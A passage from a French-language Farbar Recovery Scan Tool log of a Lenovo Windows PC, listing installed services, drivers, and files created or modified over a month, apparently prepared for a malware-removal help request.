Ltd.) R2 RichVideo64; C:\Program Files\CyberLink\Shared files\RichVideo64.exe [631336 2023-04-27] (CyberLink Corp. -> CyberLink) S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [402264 2023-10-12] (Microsoft Windows Publisher -> Microsoft Corporation) R2 ss_conn_service; C:\Program Files\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [752224 2022-10-04] (Samsung Electronics CO., LTD. -> DEVGURU Co., LTD.) R2 ss_conn_service2; C:\Program Files\Samsung\USB Drivers\28_ssconn2\conn\ss_conn_service2.exe [920768 2022-10-04] (Samsung Electronics Co., Ltd. -> DEVGURU Co., LTD.) S3 TeraBoxUtility; C:\Users\lenovo\AppData\Roaming\TeraBox\YunUtilityService.exe [113768 2023-10-25] (FLEXTECH INC. -> Flextech Inc.) S3 ucldr_battlegrounds_gl; C:\Program Files\Common Files\Wellbia.com\ucldr_battlegrounds_gl.exe [5964328 2023-02-17] (Wellbia.com Co., Ltd. -> Wellbia.com Co., Ltd.) R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\NisSrv.exe [3116904 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe [133584 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) S3 zksvc; C:\Program Files\Common Files\PUBG\zksvc.exe [11911008 2023-02-17] (KRAFTON, Inc. -> KRAFTON, Inc) ===================== Pilotes (Avec liste blanche) =================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) R3 AKCCID; C:\Windows\System32\drivers\AKCCID.sys [65984 2018-05-08] (Alcor Micro, Corp. -> Generic) S3 DDJ-SR2Audio; C:\Windows\system32\drivers\DDJ-SR2Audio64.sys [52160 2021-10-19] (AlphaTheta Corporation -> AlphaTheta Corporation.) S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus2.sys [167440 2022-10-04] (Samsung Electronics CO., LTD. -> Samsung Electronics Co., Ltd.) R3 IBMPMDRV; C:\Windows\System32\DriverStore\FileRepository\ibmpmdrv.inf_amd64_02d728b29c6492d3\x64\ibmpmdrv.sys [53240 2022-11-24] (Lenovo -> Lenovo) R3 MpKslcbde2241; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{06ECFFC5-5920-487C-9413-0023958BBBAE}\MpKslDrv.sys [263560 2023-11-03] (Microsoft Windows -> Microsoft Corporation) R1 PMDRVS; C:\Windows\System32\DriverStore\FileRepository\ibmpmdrv.inf_amd64_02d728b29c6492d3\x64\pmdrvs.sys [38904 2022-11-24] (Lenovo -> Lenovo) R0 pwdrvio; C:\Windows\System32\pwdrvio.sys [37336 2021-03-09] (MiniTool Solution Ltd -> ) S3 pwdspio; C:\Windows\system32\pwdspio.sys [12504 2019-11-08] (MiniTool Solution Ltd -> ) S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [174112 2022-10-04] (Samsung Electronics CO., LTD. -> Samsung Electronics Co., Ltd.) R3 SteamStreamingMicrophone; C:\Windows\system32\drivers\SteamStreamingMicrophone.sys [40736 2020-06-01] (Valve Corp. -> ) R3 SteamStreamingSpeakers; C:\Windows\system32\drivers\SteamStreamingSpeakers.sys [40736 2020-06-01] (Valve Corp. -> ) S0 WdBoot; C:\Windows\System32\drivers\wd\WdBoot.sys [55856 2023-10-05] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation) R0 WdFilter; C:\Windows\System32\drivers\wd\WdFilter.sys [572712 2023-10-05] (Microsoft Windows -> Microsoft Corporation) R3 WdNisDrv; C:\Windows\System32\drivers\wd\WdNisDrv.sys [105872 2023-10-05] (Microsoft Windows -> Microsoft Corporation) S3 XDJ-RX2Audio; C:\Windows\system32\drivers\XDJ-RX2Audio64.sys [50160 2018-04-25] (Pioneer DJ Corporation -> Pioneer DJ Corporation.) S3 xhunter1; C:\Windows\xhunter1.sys [1447240 2023-02-18] (Wellbia.com Co., Ltd. -> Wellbia.com Co., Ltd.) S3 MpKsl5c8d912e; \??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{31D1CB32-5C7E-4E61-84E6-329B9F199F36}\MpKslDrv.sys [X] S3 semav6msr64; \??\C:\Windows\system32\drivers\semav6msr64.sys [X] ==================== NetSvcs (Avec liste blanche) =================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) ==================== Un mois (créés) (Avec liste blanche) ========= (Si un élément est inclus dans le fichier fixlist.txt, le fichier/dossier sera déplacé.) 2023-11-04 15:10 - 2023-11-04 15:12 - 000030823 _____ C:\Users\lenovo\Desktop\FRST.txt 2023-11-04 14:50 - 2023-11-04 15:11 - 000000000 ____D C:\FRST 2023-11-04 14:46 - 2023-11-04 14:49 - 002383872 _____ (Farbar) C:\Users\lenovo\Desktop\FRST64.exe 2023-11-04 14:03 - 2023-11-04 14:20 - 000000000 ____D C:\Users\lenovo\AppData\LocalLow\BitTorrent 2023-11-03 13:09 - 2023-11-03 13:09 - 000003670 _____ C:\Windows\system32\Tasks\USER_ESRV_SVC_QUEENCREEK 2023-10-29 16:26 - 2023-10-30 14:05 - 000000000 ____D C:\Users\lenovo\Downloads\Movavi Video Editor 23.3 Portable Win x64 Multi Préactivé 2023-10-28 19:20 - 2023-11-03 13:07 - 000000000 ____D C:\Program Files\Mozilla Firefox 2023-10-28 15:58 - 2023-10-28 15:58 - 000067351 _____ C:\Users\lenovo\Downloads\Gen V.S01E07.MULTI.VF2.1080p.WEB-DL.H265-FTMVHD.torrent 2023-10-24 13:00 - 2023-10-24 13:00 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CapCut 2023-10-22 14:54 - 2023-10-22 14:54 - 000002137 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CyberLink AudioDirector 2024.lnk 2023-10-22 14:54 - 2023-10-22 14:54 - 000002125 _____ C:\Users\Public\Desktop\AudioDirector 2024.lnk 2023-10-22 14:54 - 2023-10-22 14:54 - 000000000 ____D C:\Users\lenovo\AppData\Local\CyberLink 2023-10-22 13:15 - 2023-10-22 13:15 - 000000018 _____ C:\Users\lenovo\Desktop\NUMERO RESA.txt 2023-10-20 19:36 - 2023-10-20 19:36 - 000000000 ____D C:\Users\lenovo\AppData\Local\Backup 2023-10-19 14:53 - 2023-10-19 14:53 - 000001471 _____ C:\Users\lenovo\Desktop\CCleaner - Raccourci.lnk 2023-10-19 14:49 - 2023-10-19 14:49 - 000000000 _____ C:\Users\lenovo\Downloads\02f5a75f-d9a1-49c6-8f23-deeb747ed4c1.tmp 2023-10-19 13:22 - 2023-10-19 13:22 - 000000000 ____H C:\Users\lenovo\MJKJRegInfo_I4HXU4CXO7RTUXPVB34C3QXNE63PV2RP 2023-10-15 18:18 - 2023-10-15 18:18 - 000004087 _____ C:\Users\lenovo\Downloads\Mortal.Kombat.Legends.Battle.of.the.Realms.2021.VFi.1080p.BluRay.mHD.x264.AC3-ROMKENT.torrent 2023-10-12 12:33 - 2023-10-12 12:33 - 000016059 _____ C:\Windows\system32\IntegratedServicesRegionPolicySet.json 2023-10-12 12:22 - 2023-10-12 12:22 - 000000000 ___HD C:\$WinREAgent 2023-10-12 11:03 - 2023-10-12 11:03 - 000000000 ____D C:\ProgramData\PLUG 2023-10-12 01:41 - 2023-10-12 01:41 - 000000000 ____D C:\Program Files\RUXIM 2023-10-11 17:22 - 2023-10-11 17:22 - 000000737 _____ C:\Users\lenovo\Desktop\rekordbox 6.lnk 2023-10-11 17:22 - 2023-10-11 17:22 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pioneer 2023-10-11 17:20 - 2023-10-11 17:20 - 000000000 ____D C:\Program Files\Pioneer 2023-10-10 16:28 - 2023-10-10 16:31 - 000003184 _____ C:\Users\lenovo\Documents\.spotube_logs 2023-10-10 16:28 - 2023-10-10 16:28 - 000001004 _____ C:\Users\lenovo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Spotube.lnk 2023-10-10 16:28 - 2023-10-10 16:28 - 000000919 _____ C:\Users\Public\Desktop\Spotube.lnk 2023-10-10 16:28 - 2023-10-10 16:28 - 000000919 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spotube.lnk 2023-10-10 16:28 - 2023-10-10 16:28 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\oss.krtirtho 2023-10-05 17:43 - 2023-10-05 17:44 - 000000000 ____D C:\Users\lenovo\SpotiFlyer 2023-10-05 16:44 - 2023-10-19 13:16 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\soundloaders 2023-10-05 16:34 - 2023-10-05 16:34 - 000001600 _____ C:\Users\lenovo\Desktop\TuneKeep Spotify Music Converter - Raccourci.lnk 2023-10-05 16:34 - 2023-10-05 16:34 - 000000229 _____ C:\Windows\system32\1A895985-21F0-4091-9C4B-BDEB0BA07A46.ps1 2023-10-05 16:32 - 2023-10-05 16:32 - 000000000 ____D C:\Users\lenovo\TuneKeep 2023-10-05 16:25 - 2023-10-05 16:25 - 000000000 ____D C:\Users\lenovo\Documents\AudFree Spotify Music Converter 2023-10-05 16:25 - 2023-10-05 16:25 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\AudFree Spotify Music Converter 2023-10-05 16:18 - 2023-10-05 16:18 - 000000000 ____D C:\Users\lenovo\AppData\LocalLow\BitTorrent.WebView2 2023-10-05 16:17 - 2023-11-04 15:11 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\bittorrent 2023-10-05 16:17 - 2023-10-05 16:17 - 000000917 _____ C:\Users\lenovo\Desktop\BitTorrent.lnk 2023-10-05 15:58 - 2023-10-05 16:00 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\DRmare Spotify Music Converter 2023-10-05 15:58 - 2023-10-05 15:58 - 000000000 ____D C:\Users\lenovo\Documents\DRmare Spotify Music Converter 2023-10-05 15:20 - 2023-10-12 18:04 - 000000000 ____D C:\Program Files (x86)\PassFab for RAR 2023-10-05 15:07 - 2023-10-05 15:07 - 000000000 _____ C:\Users\lenovo\Desktop\RARCrack.txt ==================== Un mois (modifiés) ================== (Si un élément est inclus dans le fichier fixlist.txt, le fichier/dossier sera déplacé.) 2023-11-04 15:13 - 2022-09-15 21:16 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\vlc 2023-11-04 15:01 - 2022-09-15 17:46 - 000000000 ____D C:\Users\lenovo\AppData\Local\BitTorrentHelper 2023-11-04 14:39 - 2023-08-08 20:51 - 000000000 ____D C:\Users\lenovo\AppData\Local\CrashDumps 2023-11-04 14:39 - 2023-05-29 19:48 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\MPC-HC 2023-11-04 14:36 - 2022-09-24 22:27 - 000000000 ____D C:\Windows\SystemTemp 2023-11-04 14:36 - 2022-09-15 17:30 - 000000000 ____D C:\Program Files (x86)\Google 2023-11-04 14:09 - 2022-09-15 17:40 - 000000000 ____D C:\Users\lenovo\AppData\Local\D3DSCache 2023-11-04 13:13 - 2019-12-07 10:14 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft 2023-11-04 12:56 - 2023-08-08 12:47 - 000000000 ____D C:\ProgramData\boost_interprocess 2023-11-04 12:55 - 2022-04-11 12:50 - 001775396 _____ C:\Windows\system32\PerfStringBackup.INI 2023-11-04 12:55 - 2019-12-07 15:50 - 000794292 _____ C:\Windows\system32\perfh00C.dat 2023-11-04 12:55 - 2019-12-07 15:50 - 000150920 _____ C:\Windows\system32\perfc00C.dat 2023-11-04 12:55 - 2019-12-07 10:13 - 000000000 ____D C:\Windows\INF 2023-11-04 12:48 - 2022-09-16 14:48 - 000000000 __SHD C:\Users\lenovo\IntelGraphicsProfiles 2023-11-03 19:21 - 2022-09-16 15:19 - 000003834 _____ C:\Windows\system32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 2023-11-03 13:42 - 2022-04-11 12:49 - 000000000 ____D C:\Users\lenovo 2023-11-03 13:16 - 2022-09-18 20:47 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38 2023-11-03 13:09 - 2022-09-16 15:11 - 000003762 _____ C:\Windows\system32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132 2023-11-03 13:09 - 2022-09-16 15:11 - 000003528 _____ C:\Windows\system32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon 2023-11-03 13:07 - 2022-09-16 14:48 - 000000000 ____D C:\Intel 2023-11-03 13:07 - 2022-09-15 17:33 - 000000000 ____D C:\Program Files\Opera 2023-11-03 13:07 - 2022-09-15 16:33 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service 2023-11-03 13:07 - 2022-04-11 12:43 - 000008192 ___SH C:\DumpStack.log.tmp 2023-11-03 13:07 - 2022-04-11 12:43 - 000000006 ____H C:\Windows\Tasks\SA.DAT 2023-11-03 13:07 - 2022-04-11 12:43 - 000000000 ____D C:\Windows\system32\SleepStudy 2023-11-03 13:03 - 2022-04-11 12:49 - 000000000 ____D C:\Users\lenovo\AppData\Local\Packages 2023-11-03 13:03 - 2019-12-07 10:14 - 000000000 ___HD C:\Program Files\WindowsApps 2023-11-03 13:03 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\AppReadiness 2023-11-01 19:32 - 2023-10-03 18:33 - 000000000 ____D C:\Users\lenovo\AppData\Local\CapCut Drafts 2023-10-31 13:45 - 2023-07-24 14:54 - 000000000 ____D C:\Extension 2023-10-31 13:45 - 2023-01-17 13:22 - 000002362 _____ C:\Users\Public\Desktop\Microsoft Edge.lnk 2023-10-31 13:45 - 2022-09-15 17:34 - 000001249 _____ C:\Users\Public\Desktop\Navigateur Opera.lnk 2023-10-31 13:45 - 2022-09-15 17:34 - 000001189 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Navigateur Opera.lnk 2023-10-31 13:45 - 2022-04-11 12:49 - 000002434 _____ C:\Users\lenovo\Desktop\Microsoft Edge.lnk 2023-10-31 13:45 - 2022-04-11 12:43 - 000002524 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk 2023-10-31 13:44 - 2022-09-15 17:30 - 000002327 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk 2023-10-31 13:44 - 2022-09-15 17:30 - 000002286 _____ C:\Users\Public\Desktop\Google Chrome.lnk 2023-10-30 19:09 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\LiveKernelReports 2023-10-30 14:04 - 2023-08-21 13:48 - 000002168 _____ C:\Users\lenovo\Desktop\VideoEditorPort - Raccourci.lnk 2023-10-28 23:47 - 2022-09-15 16:33 - 000001005 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk 2023-10-28 13:49 - 2023-08-18 13:31 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\TeraBox 2023-10-28 13:39 - 2022-09-15 14:37 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Microsoft\Spelling 2023-10-27 12:21 - 2022-09-15 17:34 - 000003984 _____ C:\Windows\system32\Tasks\Opera scheduled Autoupdate 1663259668 2023-10-26 12:47 - 2022-04-11 12:43 - 000003688 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA 2023-10-26 12:47 - 2022-04-11 12:43 - 000003564 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore 2023-10-24 13:00 - 2023-10-03 18:33 - 000001184 _____ C:\Users\lenovo\Desktop\CapCut.lnk 2023-10-24 13:00 - 2023-10-03 18:30 - 000000000 ____D C:\Users\lenovo\AppData\Local\CapCut 2023-10-24 12:24 - 2022-12-25 21:25 - 000001426 _____ C:\Windows\system32\default_error_stack-000000-000000.txt 2023-10-24 12:24 - 2019-12-07 10:03 - 000786432 _____ C:\Windows\system32\config\BBI 2023-10-24 12:23 - 2019-12-07 10:03 - 000000000 ____D C:\Windows\CbsTemp 2023-10-23 13:28 - 2019-12-07 10:14 - 000000000 ___HD C:\Windows\system32\GroupPolicy 2023-10-22 14:57 - 2023-05-30 15:06 - 000000000 ___HD C:\ProgramData\CyberLink 2023-10-22 14:55 - 2023-05-30 15:13 - 000000000 ____D C:\Users\lenovo\Documents\CyberLink 2023-10-22 14:55 - 2023-05-30 15:07 - 000000000 ____D C:\Users\Public\CyberLink 2023-10-22 14:54 - 2023-05-30 15:07 - 000003622 _____ C:\Windows\system32\Tasks\CLToast 2023-10-22 14:54 - 2023-05-30 15:07 - 000003448 _____ C:\Windows\system32\Tasks\CLToastRun 2023-10-22 14:54 - 2022-09-17 11:58 - 000000000 ___HD C:\Program Files (x86)\InstallShield Installation Information 2023-10-22 14:53 - 2023-05-30 15:07 - 000000000 ____D C:\Program Files (x86)\NSIS Uninstall Information 2023-10-22 14:53 - 2023-05-30 15:06 - 000000000 ____D C:\ProgramData\install_clap 2023-10-22 14:53 - 2023-05-30 15:06 - 000000000 ____D C:\ProgramData\install_backup 2023-10-22 14:53 - 2023-05-30 15:06 - 000000000 ____D C:\ProgramData\CLSK 2023-10-22 14:53 - 2023-05-30 15:06 - 000000000 ____D C:\Program Files\CyberLink 2023-10-19 17:02 - 2023-08-17 13:00 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Sidify 2023-10-19 17:02 - 2023-08-17 13:00 - 000000000 ____D C:\Program Files (x86)\Sidify 2023-10-19 15:07 - 2019-12-07 10:14 - 000000000 ___RD C:\Windows\ImmersiveControlPanel 2023-10-19 15:03 - 2022-04-11 12:43 - 000278304 _____ C:\Windows\system32\FNTCACHE.DAT 2023-10-19 15:02 - 2019-12-07 15:50 - 000000000 ____D C:\Windows\SysWOW64\fr 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ___SD C:\Windows\SysWOW64\F12 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ___SD C:\Windows\SysWOW64\DiagSvcs 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\WinMetadata 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\setup 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\PerceptionSimulation 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\oobe 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\migwiz 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\lv-LV 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\lt-LT 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\et-EE 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\es-MX 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\Dism 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\Com 2023-10-19 15:02 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SysWOW64\AdvancedInstallers 2023-10-19 15:01 - 2019-12-07 15:53 - 000000000 ___SD C:\Windows\system32\AppV 2023-10-19 15:01 - 2019-12-07 15:53 - 000000000 ____D C:\Program Files\Windows Photo Viewer 2023-10-19 15:01 - 2019-12-07 15:53 - 000000000 ____D C:\Program Files\Windows Defender Advanced Threat Protection 2023-10-19 15:01 - 2019-12-07 15:53 - 000000000 ____D C:\Program Files (x86)\Windows Photo Viewer 2023-10-19 15:01 - 2019-12-07 15:50 - 000000000 ____D C:\Windows\system32\fr 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ___SD C:\Windows\system32\UNP 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ___SD C:\Windows\system32\F12 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ___SD C:\Windows\system32\DiagSvcs 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ___RD C:\Windows\PrintDialog 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\SystemResources 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\WinMetadata 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\WinBioPlugIns 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\SystemResetPlatform 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\Sysprep 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\ShellExperiences 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\setup 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\PerceptionSimulation 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\oobe 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\migwiz 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\lv-LV 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\lt-LT 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\et-EE 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\es-MX 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\Dism 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\Com 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\appraiser 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\system32\AdvancedInstallers 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\ShellExperiences 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\ShellComponents 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\Provisioning 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\PolicyDefinitions 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\IME 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Windows\bcastdvr 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Program Files\Windows Defender 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Program Files\Common Files\System 2023-10-19 15:01 - 2019-12-07 10:14 - 000000000 ____D C:\Program Files (x86)\Windows Defender 2023-10-19 15:01 - 2019-12-07 10:03 - 000000000 ____D C:\Windows\servicing 2023-10-19 14:57 - 2022-09-15 17:44 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\uTorrent 2023-10-19 13:16 - 2023-07-12 11:35 - 000000000 ____D C:\Users\lenovo\AppData\Local\YT Saver 2023-10-19 13:14 - 2023-08-10 19:34 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Other 2023-10-13 19:35 - 2023-02-20 16:10 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\rekordboxAgent 2023-10-13 19:31 - 2022-09-15 19:39 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\PioneerLog 2023-10-12 18:06 - 2023-08-17 13:25 - 000000000 ____D C:\Program Files (x86)\Tunepat 2023-10-12 18:06 - 2023-07-09 12:57 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Tunepat 2023-10-12 12:42 - 2019-12-07 15:53 - 000023552 _____ (Microsoft Corporation) C:\Windows\system32\OEMDefaultAssociations.dll 2023-10-12 12:42 - 2019-12-07 10:15 - 000208384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msclmd.dll 2023-10-12 12:42 - 2019-12-07 10:14 - 000232448 _____ (Microsoft Corporation) C:\Windows\system32\msclmd.dll 2023-10-12 12:33 - 2022-04-11 12:47 - 003014144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll 2023-10-12 12:19 - 2022-09-18 14:29 - 000000000 ____D C:\Windows\system32\MRT 2023-10-12 12:15 - 2022-09-18 14:29 - 181553176 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe 2023-10-12 02:16 - 2022-09-15 19:39 - 000000000 ____D C:\Users\lenovo\Documents\rekordbox 2023-10-11 17:12 - 2022-09-15 18:09 - 000000000 ____D C:\Program Files (x86)\Pioneer 2023-10-09 18:16 - 2023-07-11 17:45 - 000001121 _____ C:\Users\lenovo\Desktop\MASTER PACK LINK.txt 2023-10-07 17:18 - 2022-09-15 17:34 - 000004170 _____ C:\Windows\system32\Tasks\Opera scheduled assistant Autoupdate 1663259675 2023-10-05 16:20 - 2023-06-17 21:00 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\lddownloader 2023-10-05 15:40 - 2023-07-09 13:45 - 000000410 ____H C:\Users\lenovo\MJKJRegInfo_H6WMO2ROFJIFYIJLKZKOXK43HQ2CBSGQ 2023-10-05 15:40 - 2023-07-09 12:57 - 000000000 ____D C:\Users\lenovo\AppData\Roaming\TunePat Spotify Converter 2023-10-05 13:43 - 2022-04-11 12:43 - 000000000 ____D C:\Windows\system32\Drivers\wd ==================== Fichiers à la racine de certains dossiers ======== 2023-06-17 21:04 - 2023-06-17 21:04 - 000000068 _____ () C:\Users\lenovo\AppData\Roaming\changzhi_leidian.data 2023-10-03 18:33 - 2023-10-03 18:33 - 000000028 _____ () C:\Users\lenovo\AppData\Local\CapCutConfigure.ini ==================== SigCheck ============================ (Il n'y a pas de correction automatique pour les fichiers qui ne satisfont pas à la vérification.) ==================== Fin de FRST.txt ========================